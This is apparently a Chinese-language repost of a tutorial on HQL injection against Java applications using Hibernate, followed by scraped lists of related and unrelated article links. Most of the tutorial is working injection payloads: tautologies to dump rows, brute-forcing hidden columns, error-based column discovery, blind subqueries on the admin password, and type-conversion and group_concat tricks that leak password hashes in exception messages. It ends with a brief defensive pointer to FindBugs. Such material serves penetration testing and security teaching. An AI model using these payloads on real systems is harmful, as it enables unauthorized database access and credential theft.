SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在网络上找不到针对Hibernate查询语言的相关资源。因此本文总结了笔者在阅读文档和不断试验过程中的一些经验技巧。

什么是Hibernate

Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),并包含一些高级特性,包括缓存以及继承,通常在Java与.NET中使用(可参考 NHibernate),但在Java生态系统中更受欢迎。

查询语言

首先,HQL查询并不直接发送给数据库,而是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。为什么这个细节重要呢?因为有两种错误消息来源,一种来自hibernate引擎,一种来自数据库。

HQL的一大挑战是注射模式非常有限,其没有联合,没有函数来创建简单延迟,没有系统函数,没有可用的元数据表等。Hibernate查询语言没有那些在后台数据库中可能存在的功能特性。

基础

以下示例代码用来进行之后的测试。需要注意的是,恶意输入总是在百分号之间:

session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

列出所有实体

下面从最基础的开始:列出所有books

from Bookwhere title like '%'    or 1=1    or ''='%'    and published = true

访问隐藏的列

尽管UNION操作符不可用,我们依然可以暴力破解隐藏的列。

from Bookwhere title like '%'    and promoCode like 'A%'    or 1=2    and ''='%'    and published = true
from Bookwhere title like '%'    and promoCode like 'B%'    or 1=2 and ''='%'    and published = true

列出所有的列

也许有读者可能会问,如果没有元数据表,怎么样才能发现隐藏的列/字段呢。我发现一个小窍门,不过只有Hibernate向客户端返回异常消息时才可用。如果列名不是Hibernate中实体定义的一部分,则其会触发异常:

from Bookwhere title like '%'    and DOESNT_EXIST=1 and ''='%'    and published = true

触发异常:

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

通过该异常,可以看到Hibernate查询的列表名。

访问不同的表

如前所述,HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。我发现访问其它表的唯一方法是使用子查询。

例如,以下查询会从表中选择一条与“User”实体关联的项。

from Bookwhere title like '%'    and (select substring(password,1,1) from User where username='admin') = 'a'    or ''='%'    and published = true

之后就可以按常规的盲注模式进行盲注了。

非盲注

盲注比较费时间,如果异常消息能显示出来,就可以直接得到任意值了。为此,需要将某个选中的值转换为不同的类型。例如:

from Bookwhere title like '%11'    and (select password from User where username='admin')=1    or ''='%'    and published = true

之后Hibernate就愉快地将异常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]

技巧:调用后台函数

如前所述,Hibernate会在SELECT和WHERE语句中隐藏一些不可识别的列名,对函数也一样。调用数据库函数的标准过程是 事先注册函数映射(HQL->SQL (Java代码),但攻击者不需要关心兼容性。最终查询中的完整函数可以用来窃取数据(group_concat, 
array_agg, …)或对后台数据库进行简单的指纹识别。

例如,如果数据库支持group_concat函数:

from Bookwhere title like '%11'    and (select cast(group_concat(password) as string) from User)=1    or ''='%'    and published = true

则异常触发为:

Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

总结

本文并不是讨论关于Hibernate的漏洞,而是利用HQL的技巧。如果有读者维护着使用Hibernate的Java web应用程序,可以运行FindBugs,利用这些规则识别与Hibernate API相关的潜在注入问题。

本文至此就结束了,希望对各位读者有所帮助!

参考

HQL: The Hibernate Query Language: Hibernate 官方文档

HQLmap:也许是目前能够进行自动HQL注入的唯一工具(暴力破解实体与列名)。

SQL Injection Wiki: 多种DBMS平台进行SQL注入的有用参考资料。

Pentestmonkey 
SQL Injection cheatsheets
: SQL注入的另一不错的参考资料。

[via h3xstream]

Hibernate HQL注入攻击入门的更多相关文章

  1. Hibernate HQL注入与防御(ctf实例)

    遇到一个hql注入ctf题    这里总结下java中Hibernate HQL的注入问题. 0x01 关于HQL注入 Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码) ...

  2. SQL注入攻击三部曲之入门篇

    SQL注入攻击三部曲之入门篇 服务器安全管理员和攻击者的战争仿佛永远没有停止的时候,针对国内网站的ASP架构的SQL注入攻击又开始大行其道.本篇文章通过SQL注入攻击原理引出SQL注入攻击的实施方法, ...

  3. JDBC基础:JDBC快速入门,JDBC工具类,SQL注入攻击,JDBC管理事务

    JDBC基础 重难点梳理 一.JDBC快速入门 1.jdbc的概念 JDBC(Java DataBase Connectivity:java数据库连接)是一种用于执行SQL语句的Java API,可以 ...

  4. 安全性测试入门:DVWA系列研究(二):Command Injection命令行注入攻击和防御

    本篇继续对于安全性测试话题,结合DVWA进行研习. Command Injection:命令注入攻击. 1. Command Injection命令注入 命令注入是通过在应用中执行宿主操作系统的命令, ...

  5. SQL注入攻防入门详解

    =============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...

  6. SQL注入攻防入门详解(2)

    SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...

  7. [转]SQL注入攻防入门详解

    原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...

  8. Hibernate HQL查询:

    Hibernate HQL查询:Criteria查询对查询条件进行了面向对象封装,符合编程人员的思维方式,不过HQL(Hibernate Query Lanaguage)查询提供了更加丰富的和灵活的查 ...

  9. Hibernate HQL查询语句总结

    Hibernate HQL查询语句总结 1. 实体查询:有关实体查询技术,其实我们在先前已经有多次涉及,比如下面的例子:String hql="from User user ";L ...

随机推荐

  1. 2010 Asia Fuzhou Regional Contest

    A hard Aoshu Problem http://acm.hdu.edu.cn/showproblem.php?pid=3699 用深搜写排列,除法要注意,还有不能有前导零.当然可以5个for, ...

  2. sprytabbedpanels.js库之在页面中插入Tabbed Panels

    向页面加入sprytabbedpanels.js文件.<script src="SpryAssets/SpryTabbedPanels.js" type="text ...

  3. 一道PK赛题

    Problem Description I think that you might have played the traditional Chinese ring game: The Chines ...

  4. Mac下使用Apache TCPMon

    Mac下使用Apache TCPMon 参考链接: TCPMon Tutorial Anyone know how to get TCPMON working on a mac? Apache TCP ...

  5. (转)Linux进程间通信

    作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 谢谢nonoob纠错 我们在Linux信号基础中已经说明,信号可以看作一种粗糙的进 ...

  6. P==NP??

    注:基础知识见下方 下面是关于P==NP ???  一些讨论,挺好玩的. 1. 首先强调一下数学上还没有证明这个问题!但是我们看看其他角度来看这个问题. 其次,心理上来说,要是可以证明P==NP那么早 ...

  7. POJ 3276

    Face The Right Way Time Limit: 2000MS   Memory Limit: 65536K Total Submissions: 2193   Accepted: 103 ...

  8. CAS登录后回传除了ticket参数以外的其他自定义参数

    在一次项目的技术选型中,选择了easyui+cas+shiro+spring的组合,cas实现了单点登录,这使得在一个应用中嵌入另一个应用的页面来展示数据所涉及到的授权方面变得简单. 由于shiro在 ...

  9. Shell script for logging cpu and memory usage of a Linux process

    Shell script for logging cpu and memory usage of a Linux process http://www.unix.com/shell-programmi ...

  10. 关于vmware下复制linux系统虚拟机后eth0变成eth1问题解决

    在vmware虚拟机中,当我们克隆或者复制linux系统虚拟机后,再启动系统时会发现系统下不再有eth0,而变成了eth1 当我们使用/etc/init.d/network restart重启网络时, ...